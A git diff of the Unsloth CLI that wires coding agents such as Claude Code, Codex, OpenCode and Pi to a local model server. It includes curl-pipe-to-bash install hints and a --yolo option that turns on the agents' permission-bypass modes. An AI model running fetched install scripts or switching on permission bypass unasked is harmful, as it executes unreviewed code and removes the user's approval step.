+        # OPENCODE_CONFIG_CONTENT outranks the project opencode.json we cannot read, any
+        # value forced there would override the user's project rules (weakening a project
+        # deny, or auto-approving through a granular object's permissive default). Clearing
+        # our own persisted yolo state is the fix; the project's own permissions are honored.
+        session_permission: dict = {}
+        permission = config.get("permission")
+        if isinstance(permission, dict):
+            for tool in tools:
+                if permission.get(tool) == "allow":
+                    permission[tool] = "ask"
+            if permission.get("external_directory") == {"*": "allow"}:
+                permission["external_directory"] = {"*": "ask"}
     if json.dumps(config, sort_keys = True) != before:
         _write_private_json(path, config)
         typer.echo(f"Updated {path}")
+    return session_permission
 
 
 def write_hermes_config(base: str, model: dict, path: Path) -> None:
@@ -1171,14 +2541,14 @@ def write_pi_config(base: str, key: str, model: dict, path: Path) -> None:
         return
     before = json.dumps(config, sort_keys = True)
     # Pi reads custom providers from ~/.pi/agent/models.json (HOME-relocated for the
-    # session). Studio is a generic OpenAI-compatible /v1 endpoint, and the key lives
+    # session). Unsloth is a generic OpenAI-compatible /v1 endpoint, and the key lives
     # in the config rather than the env (matching openclaw/opencode).
     provider_model = {"id": model["id"]}
     window = model.get("context_length") or model.get("max_context_length")
     if window:
         window = int(window)
         # An unspecified model defaults to contextWindow 128000 / maxTokens 16384,
-        # far larger than a small Studio context, so Pi compacts too late and overflows
+        # far larger than a small Unsloth context, so Pi compacts too late and overflows
         # the server. Pin the real window and a sane output cap (mirrors OpenCode).
         provider_model["contextWindow"] = window
         provider_model["maxTokens"] = min(window // 4, 8192)
@@ -1193,7 +2563,23 @@ def write_pi_config(base: str, key: str, model: dict, path: Path) -> None:
         typer.echo(f"Updated {path}")
 
 
-@start_app.command("claude", context_settings = _PASSTHROUGH)
+def write_pi_subagent_config(base: str, key: str, model: dict, path: Path) -> None:
+    """Write private bootstrap data for the bundled Pi extension."""
+    window = model.get("context_length") or model.get("max_context_length")
+    window = int(window) if window else 32768
+    _write_private_json(
+        path,
+        {
+            "baseUrl": f"{base}/v1",
+            "apiKey": key,
+            "model": model["id"],
+            "contextWindow": window,
+            "maxTokens": min(window // 4, 8192),
+        },
+    )
+
+
+@start_app.command("claude", cls = _PassthroughCommand, context_settings = _PASSTHROUGH)
 def claude(
     ctx: typer.Context,
     model: Optional[str] = _MODEL_OPTION,
@@ -1203,65 +2589,86 @@ def claude(
     max_seq_length: int = _CONTEXT_OPTION,
     load_in_4bit: bool = _LOAD_4BIT_OPTION,
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    enable_tools: bool = _ENABLE_TOOLS_OPTION,
+    tool_call_healing: Optional[bool] = _TOOL_CALL_HEALING_OPTION,
+    tool_call_nudging: Optional[bool] = _TOOL_CALL_NUDGING_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+    as_subagent: bool = _AS_SUBAGENT_OPTION,
 ):
-    """Point Claude Code at the running Studio server and start it."""
+    """Point Claude Code at the running Unsloth server and start it."""
+    # Route a leading `org/name` positional to --model; forward the rest to the agent.
+    model, ctx.args[:] = _consume_positional_model(model, ctx.args)
     base, key, entry = _connect(
         api_key,
         model,
         LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
         serve = serve,
         launch = launch,
+        server_options = ServerOptions(enable_tools, tool_call_healing, tool_call_nudging),
     )
     model_id = entry["id"]
-
-    env = {
-        "ANTHROPIC_BASE_URL": base,
-        "ANTHROPIC_AUTH_TOKEN": key,
-        "ANTHROPIC_MODEL": model_id,
-        # Session-only (no ~/.claude write): suppress the attribution header so
-        # llama.cpp KV-cache reuse is preserved; --settings below reinforces it.
-        "CLAUDE_CODE_ATTRIBUTION_HEADER": "0",
-        # Update checks, beta features, and other background requests either
-        # stall against a local server or evict the conversation from
-        # llama-server's KV-cache slots, so turn off everything nonessential.
-        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
-        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
-        # A local server streams in bursts; disable the full-screen TUI redraw so the
-        # terminal doesn't flicker between tokens.
-        "CLAUDE_CODE_NO_FLICKER": "1",
-    }
-    # Claude Code auto-compacts against its native (~600k token) window; a local
-    # model's context is usually far smaller, so size the window to the loaded
-    # model's real context length. Otherwise the conversation overflows the
-    # server's window (silent truncation) long before Claude decides to compact.
-    # codex/openclaw get the same value through their config (model_context_window
-    # / contextWindow); Claude has no config file, so it rides on the env var.
-    window = entry.get("context_length") or entry.get("max_context_length")
-    if window:
-        env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window))
-        # Compact at 90% of that window; the override only takes effect once the
-        # window is set, and it can only lower the threshold, so it just guarantees
-        # headroom before the server's context limit instead of relying on Claude's
-        # default (which is tuned for its native 200K/1M window).
-        env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90"
-    # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.
-    # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a
-    # sandbox is detected, and we don't want to falsely claim one on the user's host.
-    command = [
-        "claude",
-        "--model",
-        model_id,
-        *_claude_flags(),
-        *_yolo_command_flags("claude", yolo),
-        *ctx.args,
-    ]
     install_hint = (
         "irm https://claude.ai/install.ps1 | iex"
         if os.name == "nt"
         else "curl -fsSL https://claude.ai/install.sh | bash"
     )
+    if as_subagent:
+        subagent_id = _subagent_model_id(base, key, entry, model, gguf_variant)
+        subagent_model = {**entry, "id": subagent_id}
+        window = subagent_model.get("context_length") or subagent_model.get("max_context_length")
+        server_env = {
+            "UNSLOTH_CLAUDE_SUBAGENT_BASE_URL": base,
+            "UNSLOTH_CLAUDE_SUBAGENT_API_KEY": key,
+            "UNSLOTH_CLAUDE_SUBAGENT_MODEL": subagent_id,
+            "UNSLOTH_CLAUDE_SUBAGENT_BYPASS_PERMISSIONS": "1" if yolo else "0",
+        }
+        if window:
+            server_env["UNSLOTH_CLAUDE_SUBAGENT_CONTEXT_WINDOW"] = str(int(window))
+        with _session_config("claude-subagent", launch, persist = persist) as config:
+            plugin = write_claude_subagent_plugin(config, server_env)
+            command = [
+                "claude",
+                "--plugin-dir",
+                _agent_config_path(plugin, ["claude"]),
+                # Before ctx.args: a forwarded `--` would turn later flags positional.
+                "--allowedTools",
+                _CLAUDE_SUBAGENT_TOOL,
+                *_yolo_command_flags("claude", yolo),
+                *ctx.args,
+            ]
+            typer.echo(
+                "Unsloth is available as a local agent. "
+                "Ask Claude to spawn an Unsloth or local agent."
+            )
+            _run(
+                base,
+                subagent_model,
+                {},
+                command,
+                launch = launch,
+                install_hint = install_hint,
+            )
+        return
+
+    env = _claude_local_env(base, key, entry)
+    # Claude Code auto-compacts against its native context window. The local env
+    # above supplies the loaded model's real window and a 90% threshold instead.
+    # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions.
+    # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a
+    # sandbox is detected, and we don't want to falsely claim one on the user's host.
+    # claude keeps its history in ~/.claude/projects, which --settings/env never
+    # relocate, so a session already survives exit; resume it with `claude --continue`
+    # or `--resume <id>` passed through.
+    command = [
+        "claude",
+        "--model",
+        model_id,
+        *_claude_flags(model_id),
+        *_yolo_command_flags("claude", yolo),
+        *ctx.args,
+    ]
     _run(
         base,
         entry,
@@ -1273,7 +2680,7 @@ def claude(
     )
 
 
-@start_app.command("codex", context_settings = _PASSTHROUGH)
+@start_app.command("codex", cls = _PassthroughCommand, context_settings = _PASSTHROUGH)
 def codex(
     ctx: typer.Context,
     model: Optional[str] = _MODEL_OPTION,
@@ -1283,25 +2690,57 @@ def codex(
     max_seq_length: int = _CONTEXT_OPTION,
     load_in_4bit: bool = _LOAD_4BIT_OPTION,
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    enable_tools: bool = _ENABLE_TOOLS_OPTION,
+    tool_call_healing: Optional[bool] = _TOOL_CALL_HEALING_OPTION,
+    tool_call_nudging: Optional[bool] = _TOOL_CALL_NUDGING_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+    as_subagent: bool = _AS_SUBAGENT_OPTION,
 ):
-    """Point OpenAI Codex at the running Studio server and start it."""
+    """Point OpenAI Codex at the running Unsloth server and start it."""
+    # Route a leading `org/name` positional to --model; forward the rest to the agent.
+    model, ctx.args[:] = _consume_positional_model(model, ctx.args)
     base, key, entry = _connect(
         api_key,
         model,
         LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
         serve = serve,
         launch = launch,
+        server_options = ServerOptions(enable_tools, tool_call_healing, tool_call_nudging),
     )
     # This preflight runs after _connect may have auto-started a server but before _run
-    # installs its teardown finally, so tear the server down here if it rejects the model
+    # takes over its lifecycle, so tear the server down here if it rejects the model
     # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop.
     try:
         _require_gguf_for_codex(base, key, entry["id"])
     except BaseException:
         _shutdown_auto_served()
         raise
+    if as_subagent:
+        subagent_id = _subagent_model_id(base, key, entry, model, gguf_variant)
+        subagent_model = {**entry, "id": subagent_id}
+        with _session_config("codex-subagent", launch, persist = persist) as home:
+            agent_config = write_codex_subagent_config(base, key, subagent_model, home)
+            command = [
+                "codex",
+                *_codex_subagent_flags(agent_config),
+                *_yolo_command_flags("codex", yolo),
+                *ctx.args,
+            ]
+            typer.echo(
+                "Unsloth is available as the `unsloth` local agent. "
+                "Ask Codex to spawn an Unsloth or local agent."
+            )
+            _run(
+                base,
+                subagent_model,
+                {},
+                command,
+                launch = launch,
+                install_hint = "npm install -g @openai/codex",
+            )
+        return
     command = [
         "codex",
         "--oss",
@@ -1310,13 +2749,13 @@ def codex(
         *_yolo_command_flags("codex", yolo),
         *ctx.args,
     ]
-    with _session_config("codex", launch) as home:
+    with _session_config("codex", launch, persist = persist) as home:
         write_codex_config(base, entry, home)
         env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)}
         _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
 
 
-@start_app.command("openclaw", context_settings = _PASSTHROUGH)
+@start_app.command("openclaw", cls = _PassthroughCommand, context_settings = _PASSTHROUGH)
 def openclaw(
     ctx: typer.Context,
     model: Optional[str] = _MODEL_OPTION,
@@ -1326,33 +2765,61 @@ def openclaw(
     max_seq_length: int = _CONTEXT_OPTION,
     load_in_4bit: bool = _LOAD_4BIT_OPTION,
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    enable_tools: bool = _ENABLE_TOOLS_OPTION,
+    tool_call_healing: Optional[bool] = _TOOL_CALL_HEALING_OPTION,
+    tool_call_nudging: Optional[bool] = _TOOL_CALL_NUDGING_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
-    """Point OpenClaw at the running Studio server and start it."""
+    """Point OpenClaw at the running Unsloth server and start it."""
+    # Route a leading `org/name` positional to --model; forward the rest to the agent.
+    model, ctx.args[:] = _consume_positional_model(model, ctx.args)
+    _reject_as_subagent("openclaw", ctx.args)
     base, key, entry = _connect(
         api_key,
         model,
         LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
         serve = serve,
         launch = launch,
+        server_options = ServerOptions(enable_tools, tool_call_healing, tool_call_nudging),
     )
-    command = ["openclaw", *ctx.args]
+    openclaw_args = list(ctx.args)
+    # Default a bare `unsloth start openclaw` to the local TUI. Anything the caller
+    # passes through is forwarded verbatim so OpenClaw parses it under its own grammar
+    # (openclaw [global-flags] <command> [options]): an explicit subcommand, a global
+    # flag that must precede the command such as --profile/--dev, or a tui option. We
+    # cannot reinterpret those safely because a leading "--flag value" is ambiguous
+    # between a global (`--profile test`) and a tui option (`--message hi`); prepending
+    # `tui --local` would break the global form, so only the empty case is defaulted.
+    if not openclaw_args:
+        openclaw_args = ["tui", "--local"]
+    command = ["openclaw", *openclaw_args]
     install_hint = (
         "iwr -useb https://openclaw.ai/install.ps1 | iex"
         if os.name == "nt"
         else "curl -fsSL https://openclaw.ai/install.sh | bash"
     )
-    with _session_config("openclaw", launch) as cfg:
+    with _session_config("openclaw", launch, persist = persist) as cfg:
         config_path = cfg / "openclaw.json"
+        workspace_path = None
+        if _wsl_windows_executable(command):
+            workspace_path = _wsl_windows_path(cfg / "workspace")
         # key lives in the config, not the env; --yolo writes the exec policy here too.
-        write_openclaw_config(base, key, entry, config_path, yolo = yolo)
+        write_openclaw_config(
+            base,
+            key,
+            entry,
+            config_path,
+            yolo = yolo,
+            workspace_path = workspace_path,
+        )
         # Scope both config and state so OpenClaw never touches the user's ~/.openclaw.
         env = {"OPENCLAW_CONFIG_PATH": str(config_path), "OPENCLAW_STATE_DIR": str(cfg)}
         _run(base, entry, env, command, launch = launch, install_hint = install_hint)
 
 
-@start_app.command("opencode", context_settings = _PASSTHROUGH)
+@start_app.command("opencode", cls = _PassthroughCommand, context_settings = _PASSTHROUGH)
 def opencode(
     ctx: typer.Context,
     model: Optional[str] = _MODEL_OPTION,
@@ -1362,31 +2829,133 @@ def opencode(
     max_seq_length: int = _CONTEXT_OPTION,
     load_in_4bit: bool = _LOAD_4BIT_OPTION,
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    enable_tools: bool = _ENABLE_TOOLS_OPTION,
+    tool_call_healing: Optional[bool] = _TOOL_CALL_HEALING_OPTION,
+    tool_call_nudging: Optional[bool] = _TOOL_CALL_NUDGING_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+    as_subagent: bool = _AS_SUBAGENT_OPTION,
 ):
-    """Point OpenCode at the running Studio server and start it."""
+    """Point OpenCode at the running Unsloth server and start it."""
+    # Route a leading `org/name` positional to --model; forward the rest to the agent.
+    model, ctx.args[:] = _consume_positional_model(model, ctx.args)
     base, key, entry = _connect(
         api_key,
         model,
         LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
         serve = serve,
         launch = launch,
+        server_options = ServerOptions(enable_tools, tool_call_healing, tool_call_nudging),
     )
-    command = ["opencode", *ctx.args]
-    with _session_config("opencode", launch) as cfg:
+    if as_subagent:
+        subagent_id = _subagent_model_id(base, key, entry, model, gguf_variant)
+        subagent_model = {**entry, "id": subagent_id}
+        # Stay append-safe for a bare no-launch recipe: a later `run <prompt>` would make
+        # `opencode --auto run ...` parse as the TUI, so keep yolo in the inline fallback.
+        route_native_auto = yolo and _opencode_supports_native_auto() and (launch or bool(ctx.args))
+        opencode_args, native_auto = _opencode_native_auto_args(list(ctx.args), route_native_auto)
+        command = ["opencode", *opencode_args]
+        with _session_config("opencode-subagent", launch, persist = persist) as cfg:
+            config_path = cfg / "opencode.json"
+            session_permission = write_opencode_config(
+                base,
+                key,
+                subagent_model,
+                config_path,
+                yolo = yolo and not native_auto,
+                as_subagent = True,
+            )
+            env = {"OPENCODE_CONFIG": str(config_path)}
+            if launch and _which_with_install_dirs("opencode") is None:
+                # Provider-filter inspection needs the binary; offer the install now so
+                # a global/project allowlist is honored on this first launch instead of
+                # being read only after _launch installs OpenCode.
+                _install_agent("opencode", "npm install -g opencode-ai")
+            inline_config = _opencode_subagent_inline_config(config_path, session_permission)
+            # A project opencode.json outranks the session file and could field-merge its
+            # own agent.unsloth over ours. Pin ours in the inline overlay so it wins.
+            inline_config.setdefault("agent", {})[_SUBAGENT_NAME] = {
+                "description": _SUBAGENT_DESCRIPTION,
+                "mode": "subagent",
+                "model": f"{_OPENCODE_PROVIDER}/{subagent_model['id']}",
+                "prompt": _SUBAGENT_INSTRUCTIONS,
+            }
+            env["OPENCODE_CONFIG_CONTENT"] = json.dumps(inline_config)
+            typer.echo("Unsloth is available as @unsloth and in /models.")
+            _run(
+                base,
+                subagent_model,
+                env,
+                command,
+                launch = launch,
+                install_hint = "npm install -g opencode-ai",
+            )
+        return
+    opencode_model = f"{_OPENCODE_PROVIDER}/{entry['id']}"
+    # The inline OPENCODE_CONFIG_CONTENT below pins the model in the highest-priority
+    # layer, so the session model is forced without a --model flag. Only add --model for
+    # an interactive bare launch (a convenience so the TUI opens on our model). It is
+    # omitted for passthrough (inserting it before a subcommand can be misparsed) and for
+    # --no-launch, where the printed command is consumed by drivers that append a
+    # subcommand such as `run <prompt>`; a leading --model would land before that
+    # subcommand and break it. Those paths rely on the inline pin instead.
+    native_auto = False
+    route_native_auto = yolo and _opencode_supports_native_auto()
+    if ctx.args:
+        opencode_args, native_auto = _opencode_native_auto_args(list(ctx.args), route_native_auto)
+        command = ["opencode", *opencode_args]
+    elif launch:
+        opencode_args, native_auto = _opencode_native_auto_args(
+            ["--model", opencode_model],
+            route_native_auto,
+        )
+        command = ["opencode", *opencode_args]
+    else:
+        # Append-safe base: `opencode --auto run ...` parses as the TUI with a project
+        # "run", not the run subcommand. Command unknown here, so keep the config fallback.
+        command = ["opencode"]
+    # opencode keeps sessions in ~/.local/share/opencode (never relocated), so resume
+    # already survives exit; reopen the last one by passing `opencode --continue` through.
+    with _session_config("opencode", launch, persist = persist) as cfg:
         config_path = cfg / "opencode.json"
         # OPENCODE_CONFIG is an overlay (loaded between the user's global and project
         # configs), so this adds the Unsloth provider/model for the session without
         # changing the user's default model. Key lives in the config, not the env.
-        write_opencode_config(base, key, entry, config_path, yolo = yolo)
-        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model
-        # pin (and --yolo permissions) would silently lose to a repo config. Carry the
-        # settings that must win in OPENCODE_CONFIG_CONTENT, which outranks project
-        # config; the API key stays in the private file, never in the printed env.
-        inline_config: dict = {"model": f"unsloth/{entry['id']}"}
-        if yolo:
-            inline_config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+        session_permission = write_opencode_config(
+            base,
+            key,
+            entry,
+            config_path,
+            yolo = yolo and not native_auto,
+        )
+        # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model pin
+        # would silently lose to a repo config. Carry it in OPENCODE_CONFIG_CONTENT, which
+        # outranks project config; the API key stays in the private file, never the env.
+        # Only the config fallback carries a permission. Native --auto omits it (auto-approve
+        # asks, keep explicit denies); a non-yolo session omits it too, honoring project rules.
+        # opencode filters every provider (a config-defined custom one included) through
+        # its enabled_providers allowlist and disabled_providers denylist, and a model pin
+        # does not bypass that gate -- a filtered provider resolves to ModelNotFoundError.
+        # To guarantee the session model loads without reading or modifying the user's real
+        # config, scope THIS session to our provider alone: allowlist _OPENCODE_PROVIDER and
+        # clear the denylist. These arrays are replaced (not merged) by higher layers, so
+        # setting them in the highest-priority inline overlay neutralizes any user allowlist
+        # or denylist for the launch. It is session-only: it lives in OPENCODE_CONFIG_CONTENT
+        # for this invocation and never touches the user's config files, so their normal
+        # `opencode` is unchanged; only this session is limited to the Unsloth provider.
+        # small_model is opencode's separate model for lightweight tasks; pin it to the
+        # session model too, or a user/project small_model on another (now filtered)
+        # provider would resolve a not-found error mid-session. The session serves one
+        # model, so the session model is the only valid target here anyway.
+        inline_config: dict = {
+            "model": opencode_model,
+            "small_model": opencode_model,
+            "enabled_providers": [_OPENCODE_PROVIDER],
+            "disabled_providers": [],
+        }
+        if session_permission:
+            inline_config["permission"] = session_permission
         env = {
             "OPENCODE_CONFIG": str(config_path),
             "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config),
@@ -1394,7 +2963,7 @@ def opencode(
         _run(base, entry, env, command, launch = launch, install_hint = "npm install -g opencode-ai")
 
 
-@start_app.command("hermes", context_settings = _PASSTHROUGH)
+@start_app.command("hermes", cls = _PassthroughCommand, context_settings = _PASSTHROUGH)
 def hermes(
     ctx: typer.Context,
     model: Optional[str] = _MODEL_OPTION,
@@ -1404,23 +2973,29 @@ def hermes(
     max_seq_length: int = _CONTEXT_OPTION,
     load_in_4bit: bool = _LOAD_4BIT_OPTION,
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    enable_tools: bool = _ENABLE_TOOLS_OPTION,
+    tool_call_healing: Optional[bool] = _TOOL_CALL_HEALING_OPTION,
+    tool_call_nudging: Optional[bool] = _TOOL_CALL_NUDGING_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
 ):
-    """Point Hermes (Nous Research) at the running Studio server and start it."""
+    """Point Hermes (Nous Research) at the running Unsloth server and start it."""
+    # Route a leading `org/name` positional to --model; forward the rest to the agent.
+    model, ctx.args[:] = _consume_positional_model(model, ctx.args)
+    _reject_as_subagent("hermes", ctx.args)
+    native_args = [*_yolo_command_flags("hermes", yolo), *ctx.args]
+    command = ["hermes", *_hermes_resume_oneshot_args(native_args)]
     base, key, entry = _connect(
         api_key,
         model,
         LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
         serve = serve,
         launch = launch,
+        server_options = ServerOptions(enable_tools, tool_call_healing, tool_call_nudging),
     )
-    command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args]
-    install_hint = (
-        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
-        "/main/scripts/install.sh | bash"
-    )
-    with _session_config("hermes", launch) as home:
+    install_hint = _hermes_install_hint()
+    with _session_config("hermes", launch, persist = persist) as home:
         # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state)
         # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session.
         write_hermes_config(base, entry, home / "config.yaml")
@@ -1428,7 +3003,7 @@ def hermes(
         _run(base, entry, env, command, launch = launch, install_hint = install_hint)
 
 
-@start_app.command("pi", context_settings = _PASSTHROUGH)
+@start_app.command("pi", cls = _PassthroughCommand, context_settings = _PASSTHROUGH)
 def pi(
     ctx: typer.Context,
     model: Optional[str] = _MODEL_OPTION,
@@ -1438,17 +3013,56 @@ def pi(
     max_seq_length: int = _CONTEXT_OPTION,
     load_in_4bit: bool = _LOAD_4BIT_OPTION,
     tensor_parallel: bool = _TENSOR_PARALLEL_OPTION,
+    enable_tools: bool = _ENABLE_TOOLS_OPTION,
+    tool_call_healing: Optional[bool] = _TOOL_CALL_HEALING_OPTION,
+    tool_call_nudging: Optional[bool] = _TOOL_CALL_NUDGING_OPTION,
     serve: bool = _SERVE_OPTION,
     yolo: bool = _YOLO_OPTION,
+    persist: bool = _PERSIST_OPTION,
+    as_subagent: bool = _AS_SUBAGENT_OPTION,
 ):
-    """Point Pi (coding agent) at the running Studio server and start it."""
+    """Point Pi (coding agent) at the running Unsloth server and start it."""
+    # Route a leading `org/name` positional to --model; forward the rest to the agent.
+    model, ctx.args[:] = _consume_positional_model(model, ctx.args)
     base, key, entry = _connect(
         api_key,
         model,
         LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel),
         serve = serve,
         launch = launch,
+        server_options = ServerOptions(enable_tools, tool_call_healing, tool_call_nudging),
     )
+    install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent"
+    if as_subagent:
+        if not _PI_SUBAGENT_EXTENSION.is_file():
+            _fail(f"Missing Pi subagent extension: {_PI_SUBAGENT_EXTENSION}")
+        subagent_id = _subagent_model_id(base, key, entry, model, gguf_variant)
+        subagent_model = {**entry, "id": subagent_id}
+        extension = _agent_config_path(_PI_SUBAGENT_EXTENSION, ["pi"])
+        with _session_config("pi-subagent", launch, persist = persist) as config:
+            config_path = config / "subagent.json"
+            write_pi_subagent_config(base, key, subagent_model, config_path)
+            command = [
+                "pi",
+                "--extension",
+                extension,
+                *_yolo_command_flags("pi", yolo),
+                *ctx.args,
+            ]
+            typer.echo(
+                "Unsloth is available as a local agent and in /model. "
+                "Ask Pi to spawn an Unsloth or local agent."
+            )
+            _run(
+                base,
+                subagent_model,
+                {"UNSLOTH_PI_SUBAGENT_CONFIG": str(config_path)},
+                command,
+                launch = launch,
+                install_hint = install_hint,
+                clear_screen = True,
+            )
+        return
     # Pi defaults to the google provider, so pin our provider/model on the command
     # line; the custom OpenAI-compatible endpoint itself is only configurable via
     # ~/.pi/agent/models.json.
@@ -1463,8 +3077,7 @@ def pi(
     ]
     # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs
     # no install scripts), so accepting the prompt skips dependency lifecycle scripts.
-    install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent"
-    with _session_config("pi", launch) as home:
+    with _session_config("pi", launch, persist = persist) as home:
         # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers
         # it over $HOME/.pi/agent), so pin it at the session dir: an inherited
         # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 80641a17c3..9a472d2996 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -3,6 +3,7 @@
 
 import importlib.util
 import hashlib
+import hmac
 import json
 import os
 import platform
@@ -21,6 +22,8 @@ from pathlib import Path
 from typing import List, Optional
 import typer
 
+from unsloth_cli.commands import _password_prompt
+
 studio_app = typer.Typer(help = "Unsloth Studio commands.")
 
 
@@ -37,7 +40,7 @@ def _enable_verbose_access_logs() -> None:
 # UNSLOTH_STUDIO_HOME wins when both env vars are set.
 def _looks_like_installer_managed_studio_home(candidate: Path) -> bool:
     """Sentinel check (studio.conf or bin shim) so a dev venv named
-    unsloth_studio is not misidentified as a custom Studio root.
+    unsloth_studio is not misidentified as a custom Unsloth root.
     """
     shim_name = "unsloth.exe" if platform.system() == "Windows" else "unsloth"
     return (candidate / "share" / "studio.conf").is_file() or (
@@ -103,6 +106,13 @@ API_KEY_PBKDF2_SALT_KEY = "api_key_pbkdf2_salt"
 DESKTOP_SECRET_HASH_KEY = "desktop_secret_hash"
 DESKTOP_SECRET_CREATED_AT_KEY = "desktop_secret_created_at"
 PBKDF2_ITERATIONS = 100_000
+_START_API_KEY_MARKER_ENV = "_UNSLOTH_START_API_KEY_MARKER"
+
+
+def _consume_start_api_key_marker_env() -> bool:
+    """Consume the one-shot readiness marker passed across a Studio re-exec."""
+    return os.environ.pop(_START_API_KEY_MARKER_ENV, None) == "1"
+
 
 # __file__ is unsloth_cli/commands/studio.py -- two parents up is the package root
 # (either site-packages or the repo root for editable installs).
@@ -209,7 +219,7 @@ def _find_run_py() -> Optional[Path]:
     run_py = _PACKAGE_ROOT / "studio" / "backend" / "run.py"
     if run_py.is_file():
         return run_py
-    # 2. Studio venv's site-packages (Linux + Windows layouts)
+    # 2. Unsloth venv's site-packages (Linux + Windows layouts)
     for pattern in (
         "lib/python*/site-packages/studio/backend/run.py",
         "Lib/site-packages/studio/backend/run.py",
@@ -270,7 +280,7 @@ def _find_setup_script() -> Optional[Path]:
     s = _PACKAGE_ROOT / "studio" / name
     if s.is_file():
         return s
-    # 2. Studio venv's site-packages
+    # 2. Unsloth venv's site-packages
     for pattern in (
         f"lib/python*/site-packages/studio/{name}",
         f"Lib/site-packages/studio/{name}",
@@ -480,6 +490,14 @@ def _connect_auth_db() -> sqlite3.Connection:
     auth_dir = STUDIO_HOME / "auth"
     auth_dir.mkdir(parents = True, exist_ok = True)
     conn = sqlite3.connect(auth_dir / "auth.db")
+    # Mirror backend storage.get_connection: this path can create auth/ and
+    # auth.db (the pre-exposure gate writes here first), and sqlite3.connect
+    # makes the DB 0644 under a 022 umask. Keep both private.
+    for _path, _mode in ((auth_dir, 0o700), (auth_dir / "auth.db", 0o600)):
+        try:
+            os.chmod(_path, _mode)
+        except OSError:
+            pass
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS auth_user (
@@ -627,6 +645,526 @@ def _create_desktop_secret_in_cli() -> str:
         conn.close()
 
 
+def _should_prompt_password_change(
+    *, cloudflare: Optional[bool], host: str, secure: bool, api_only: bool
+) -> bool:
+    """Whether this launch will expose Unsloth through the Cloudflare tunnel.
+
+    CLI mirror of run.py's _cloudflare_tunnel_should_start, minus the Colab
+    case (Colab launches never come through this CLI path). --secure implies
+    the tunnel; --cloudflare only tunnels non-api-only wildcard binds.
+    """
+    if secure:
+        return True
+    if cloudflare is not True:
+        return False
+    return host in ("0.0.0.0", "::") and not api_only
+
+
+def _prompt_streams_interactive() -> bool:
+    """The prompt needs a real terminal for input and for the masked echo."""
+    try:
+        return sys.stdin.isatty() and sys.stderr.isatty()
+    except (AttributeError, ValueError):
+        return False
+
+
+def _bootstrap_deadline_active() -> bool:
+    """Whether the backend's bootstrap shutdown deadline will arm.
+
+    Mirror of studio/backend/auth/bootstrap_timeout.py bootstrap_timeout_seconds:
+    unset/blank/malformed UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT falls back to the 1h
+    default (a typo must not remove protection); 0 or negative disables it.
+    """
+    raw = os.environ.get("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "").strip()
+    if not raw:
+        return True
+    try:
+        return int(raw) > 0
+    except ValueError:
+        return True
+
+
+def _cli_update_password(conn: sqlite3.Connection, username: str, new_password: str) -> None:
+    """CLI mirror of backend update_password + change-password route effects.
+
+    One transaction: rehash, rotate the JWT secret, clear must_change_password,
+    revoke refresh tokens (PR #6651 finding), and drop the desktop secret. File
+    cleanup happens after commit; a failed unlink must not roll the change back.
+    """
+    password_salt, password_hash = _hash_password(new_password)
+    with conn:
+        conn.execute(
+            """
+            UPDATE auth_user
+            SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0
+            WHERE username = ?
+            """,
+            (password_salt, password_hash, secrets.token_urlsafe(64), username),
+        )
+        conn.execute("DELETE FROM refresh_tokens WHERE username = ?", (username,))
+        conn.execute(
+            "DELETE FROM app_secrets WHERE key IN (?, ?)",
+            (DESKTOP_SECRET_HASH_KEY, DESKTOP_SECRET_CREATED_AT_KEY),
+        )
